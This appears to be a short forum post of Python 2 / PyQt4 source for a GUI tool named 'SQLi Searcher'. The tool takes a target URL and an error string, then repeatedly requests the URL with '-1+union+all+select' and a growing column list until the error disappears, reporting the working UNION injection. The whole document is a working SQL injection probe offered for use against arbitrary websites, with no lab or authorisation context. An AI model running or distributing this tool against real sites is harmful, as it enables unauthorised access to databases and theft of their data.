[Código-Python] SQLi Searcher QT JaAViEr

# -*- coding: utf-8 -*-
import sys,urllib2
from PyQt4 import QtCore, QtGui
class mensaje(QtGui.QWidget):
  def __init__(self, parent=None):
    QtGui.QWidget.__init__(self,parent)
    self.resize(400, 200)
    self.error = QtGui.QLineEdit('',self)
    self.setWindowTitle("SQLi Searcher JaAViEr")
    self.error.setGeometry(QtCore.QRect(40, 40, 113, 25))
    self.msjerror=QtGui.QLabel('Error:',self)
    self.msjerror.setGeometry(0, 47, 41, 16)
    self.pagina = QtGui.QLineEdit('http://',self)
    self.pagina.setGeometry(40, 10, 291, 25)
    self.textourl=QtGui.QLabel('URL:',self)
    self.textourl.setGeometry(10, 16, 31, 16)
    self.search = QtGui.QPushButton('Buscar!',self)
    self.search.setGeometry(330, 10, 61, 24)
    self.salida = QtGui.QTextBrowser(self)
    self.salida.setGeometry(0, 70, 381, 121)
    self.connect(self.search,QtCore.SIGNAL("clicked()"),self.scan)
  def scan(self):
    self.salida.setHtml('<b>Buscando...<br /></b>')
    stx=""
    i=0
    injx=""		
    while 1:
      stx=stx+"%s,"%i
      w=urllib2.urlopen("%s-1+union+all+select+%s"%(str(self.pagina.text()),stx[:-1]))
      if str(self.error.text()) in w.read().lower():
	print "."
	
      else:
	  injx=stx[:-1]
	  self.salida.setHtml('<font color=red><b>Encontrado!<br />-1+union+all+select+%s</b>'%injx)
	  break;
      i+=1
test=QtGui.QApplication(sys.argv)
tooltip=mensaje()
tooltip.show()
test.exec_()